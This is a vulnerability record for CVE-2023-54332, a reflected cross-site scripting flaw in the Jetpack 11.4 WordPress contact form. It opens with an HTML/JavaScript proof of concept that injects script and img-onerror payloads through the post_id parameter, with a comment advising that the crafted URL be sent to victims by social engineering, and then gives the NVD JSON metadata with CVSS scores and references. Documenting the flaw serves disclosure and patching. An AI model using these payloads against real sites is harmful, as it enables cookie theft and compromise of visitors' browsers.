CVE-2023-54332

<!-- CVE-2023-54332 XSS PoC --> <!-- Malicious URL to trigger XSS via post_id parameter --> <a href='http://target-site.com/?p=1&post_id="><script>alert(document.cookie)</script>'>Click Here</a> <!-- Alternative PoC with event handler --> <a href='http://target-site.com/?p=1&post_id="><img src=x onerror=alert(String.fromCharCode(88,83,83))>>'>Click Here</a> <!-- Automated PoC testing script --> <script> const targetUrl = 'http://target-site.com'; const xssPayload = '<script>alert(document.domain)</script>'; const maliciousUrl = `${targetUrl}/?post_id=${encodeURIComponent(xssPayload)}`; console.log('Malicious URL:', maliciousUrl); // Send this URL to victim via social engineering </script>

{"cve": {"id": "CVE-2023-54332", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:00.513", "lastModified": "2026-01-29T18:54:34.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jetpack 11.4 contains a cross-site scripting vulnerability in the contact form module that allows attackers to inject malicious scripts through the post_id parameter. Attackers can craft malicious URLs with script payloads to execute arbitrary JavaScript in victims' browsers when they interact with the contact form page."}, {"lang": "es", "value": "Jetpack 11.4 contiene una cross-site scripting vulnerabilidad en el módulo de formulario de contacto que permite a los atacantes inyectar scripts maliciosos a través del parámetro post_id. Los atacantes pueden crear URLs maliciosas con cargas útiles de script para ejecutar JavaScript arbitrario en los navegadores de las víctimas cuando interactúan con la página del formulario de contacto."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:automattic:jetpack:11.4:*:*:*:*:wordpress:*:*", "matchCriteriaId": "C914D82F-80BB-42BF-91AD-A56C0A2F9B43"}]}]}], "references": [{"url": "https://wordpress.org/plugins/jetpack", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51104", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/jetpack-cross-site-scripting-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}